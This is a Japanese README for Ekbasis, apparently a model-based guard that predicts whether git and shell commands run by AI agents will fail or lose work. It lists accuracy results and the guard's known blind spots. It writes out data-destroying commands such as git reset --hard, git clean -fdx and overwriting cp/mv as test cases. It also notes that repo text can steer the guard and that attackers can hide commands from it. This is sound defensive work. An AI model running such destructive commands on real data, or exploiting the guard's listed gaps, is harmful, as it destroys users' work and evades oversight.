リクエストに同じ状態についての質問が複数含まれる場合、client.ask(..., read_once=True) は状態を一度だけ読み取り、同じフォワードパスで全ての質問に回答します。回答が変化するアクションに関する質問では、精度を0.9~3.1ポイント下げる代わりに、プロンプトのトークン数を約半分にできます(未学習の環境では、状態あたりのプロンプトトークン数は1,442から710に、正解率は81.2%から78.0%に変化します。学習済みの環境では、正解率は92.4%から91.5%に変化します)。テキストのみが対象です。
制限事項(利用する前にお読みください)

- 学習した内容を把握しており、git 専用ではありません。 git と、プロンプトにルールが記述されたルールベースの世界で学習しているため、結果を決める事実とルールが状態に書き込まれている場所ならどこでも機能します。学習後の測定結果(cookbook、2026年10月):21のドメインにわたる171のシナリオ――金銭、ファイルとシェル、データベース/SQL、メール、カレンダー、クラウドと Kubernetes、クラウドストレージ、docker、デプロイと CI パイプライン、ID とアクセス、ネットワーク、データパイプライン、ML ops、スケジュールされたジョブ、数値と計画――のうち、採点対象の168件すべてで正解しました (結果)。また、エージェントを使った場合、実際の Gitea、Nextcloud、Roundcube、および実際の Kubernetes クラスターでの被害が少なくなりました(エージェントの調査を参照)。これらのシナリオは、結果を決める事実を状態に含めて私たちが作成したものです。事実が抜けている実際の状態では成績が下がり、見たことのないものでも同様です(学習で見たことのない git コマンドの種類では85.8%で、95.8%を下回ります)。
- 結果を決める情報を状態に含める必要があります。 git ガードはその情報を自動で追加します(client 0.1.1以降では、コマンドが触れる可能性がある場合、無視されたファイル、リンクされた worktree、サブモジュール、手動で解決された競合、ahead/behind も対象です)。独自の用途では、必要な情報を含めてください。
- 決して解消されないエラーは、長い連鎖(順序付け)で積み重なります。 また、把握している世界では、まれなエラーにも確信度が伴います。
simulate()に実際の状態を読み取る方法(observe=)を渡すと、確信が持てないときに確認し、ときどきチェックを行います。カードの順序付けで200アクションの場合、100アクションあたり約33回確認することで、8件中8件の連鎖を正確に処理しました。確認を一度もしない場合は8件中2件でした。確信がないときに確認するを参照してください。 - 明文化されたルールと考える時間があれば、大規模な推論モデルのほうが高精度です(短いチェックで100%に対し96.7%)。その点で、Ekbasis はコスト、レイテンシ、確信度の較正で優れています。
- client 0.1.1でもまだ間違える Git のケース(75種類のコマンドにわたる、新規のサンドボックスシナリオ334件。git を実行して得た正解値。results/client_0.1.1):
- チェックアウト、マージ、または
reset --hard <ref>が上書きする無視対象ファイル。対象に同じパスのファイルがある場合です。状態にファイル名が記載されていても、6件中6件を見逃しました。無視対象のパスを追跡するブランチに切り替える前に、git status --ignoredを実行してください(たとえば.env)。 git sparse-checkout setによって保持対象ディレクトリ外の無視対象ファイルが削除されるケース(2件中2件を見逃しました)、および解決内容をgit addでステージした後のgit rebase --abort(2件中2件を見逃しました)。git stash -aの後にgit clean -fdxを実行すると、-aで無視対象ファイルが保存されているにもかかわらず、警告が出ます。- 1回のチェック内でコミットの後に破壊的なコマンドを実行すると、コミットによって作業が保存されているにもかかわらず警告が出ます(
git commit -am wipの後にgit reset --hardを実行すると、「作業が失われる」と98%の確信度で判定されますが、何も失われていません)。コミットが実行された後のコマンドを確認してください。ガードはその時点のリポジトリを読み取ります。 - 未コミットの変更があるファイルに対する
git rm:「失敗する」(正しい判定です。git は拒否します)と判定しつつ、96%の確信度で「作業が失われる」とも判定します(失敗するため、何も失われません)。「失敗する」の確信度が高い場合、「作業が失われる」は「成功した場合」と読み替えてください。 - 一部の失敗は、まだ状態ではなくコマンドから判断されています。
git switch -とgit checkout <tag>は成功するのに失敗すると予測されます。別の場所でチェックアウト済みのブランチに対するgit worktree add、再作成された未追跡ファイルへのgit stash pop、ローカル変更によって中断されるgit reset --keep/--merge <commit>、およびローカル変更によって中断されるgit pullは、成功すると予測されます。
- チェックアウト、マージ、または
- コミット済みの作業:0.1.3以降、コードで部分的にチェックします。 モデルは未コミットの作業が失われるかどうかを確認します(0.1.0と0.1.1では、コミットを破棄するシナリオ27件中2件、21件中4件に警告しました)。0.1.3以降、フックはブランチとタグの削除、強制的なブランチ移動、
git reset --hard <commit>に対して ref をシミュレーションします。- 対象外:
git push --force(リモートの状態を読み取りません)およびコミットを破棄するrebase。 xargs経由で渡されるブランチ名は「予測できません」。
- 対象外:
- 0.1.3のショートカットは、フォルダー名と git を信頼します。
- 「再構築可能」かどうかはフォルダー名で判断するため、無視対象の
build/、dist/、node_modules/、またはキャッシュフォルダー内にある、代替できないデータは保護されません。 - git の最終コミットに含まれている場合、その内容は復元可能と見なされます。
.gitにも触れる可能性があるコマンドでは、ショートカットは決して適用されません。EKBASIS_SHORTCUTS=0を設定すると、ショートカットが無効になります。
- 「再構築可能」かどうかはフォルダー名で判断するため、無視対象の
- シェルガードはプロトタイプです(results/client_0.1.2)。設計時に想定していなかったコマンド形式46種類を含む、新規シナリオ292件で、コンテンツの損失133件中9件を見逃しました。すべて、同名のファイルを置き換えるフォルダーへのコピーまたは移動でした(フォルダー内に同名のファイルがある場合の
cp -a SRC DEST、cp -t DIR f、mv -t DIR a b)。また、安全なケース159件中19件で誤警告が発生しました。その多くは、表示されていない内容(短いファイルでのhead -n 9 f > f.tmp && mv f.tmp f、一致する箇所がないperl -pi)や、事前に作成されたバックアップに結果が左右されるケースでした。エラー36件中26件で、確信度は0.9以上でした。Linux 上の bash を読み取ります。macOS の BSD ツールや zsh では一部の動作が異なります。また、プログラムやスクリプトがファイルに与える影響(python x.py、make)、ファイルのパーミッション、所有者も把握できません。 - これは誤る可能性がある警告レイヤーであり、セキュリティ境界ではありません。 破壊的なコマンドを見逃したり、安全なコマンドに警告したりする場合があります。リポジトリやフォルダー内のテキストが、ガードの判断を誘導しようとする可能性もあります。攻撃者はコマンドをガードから隠すことができます。Claude Code の確認、バックアップ、最小権限と併用してください。脅威モデル、測定されたインジェクションの結果、推奨される多層防御スタックについては、docs/SECURITY.mdを参照してください。 詳細はこちら:docs/PLAYBOOK.md(日々の使い方) · docs/REFERENCES.md (謝辞) · PREREG_release_eval.md。
トレーニング
Ekbasis-27Bのトレーニングに使用したコードはtraining/にあります。トレーナー(回答の文字に対するクロスエントロピーと、JEPAスタイルの事後項)、系譜を構成する6段階とその正確なレシピ、リリース版となる補間処理が含まれています。トレーニング行はekbasis-dataのlineage設定です。
Ekbasis-Skopos-27Bの追加の2段階、その補間、マージ、量子化ビルドはtraining/skopos/にあります。系譜に含まれるすべてのトレーニング行と評価セットの回答を、実行時に算出したプログラムはgenerators/にあります。データの行はekbasis-skopos-dataにあります。
引用
@misc{vicentino2026lookwhenunsure,
title = {Look When Unsure, Check When Sure: Consequence Training Makes a World Model's Remaining Errors Confident, Most of All Where It Knows the World Best},
author = {Vicentino, Caio},
year = {2026},
publisher = {Zenodo},
doi = {10.5281/zenodo.23146970},
url = {https://doi.org/10.5281/zenodo.23146970}
}
@misc{vicentino2026agentssafer,
title = {When Does a Consequence Model Make AI Agents Safer? Pre-registered Studies on Demo Apps, Real Self-Hosted Apps and a Real Terminal},
author = {Vicentino, Caio},
year = {2026},
publisher = {Zenodo},
doi = {10.5281/zenodo.23197341},
url = {https://doi.org/10.5281/zenodo.23197341}
}
お問い合わせ
ご質問、共同作業、商用利用については、[email protected]までお問い合わせください。ガードに関するセキュリティ上の問題については、docs/SECURITY.mdをご覧ください(まずはメールでご連絡ください)。
謝辞
Ekbasisは、Caio Vicentino(OpenInterp)がClaude Opus 5.5(Anthropic)の協力を得て開発しました。Claudeは彼とともにプロジェクトに取り組み、次の作業を行いました。
- 実験の計画と実施
- コードとドキュメントの作成およびレビュー
- 数値と参考資料の確認
コメント
AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。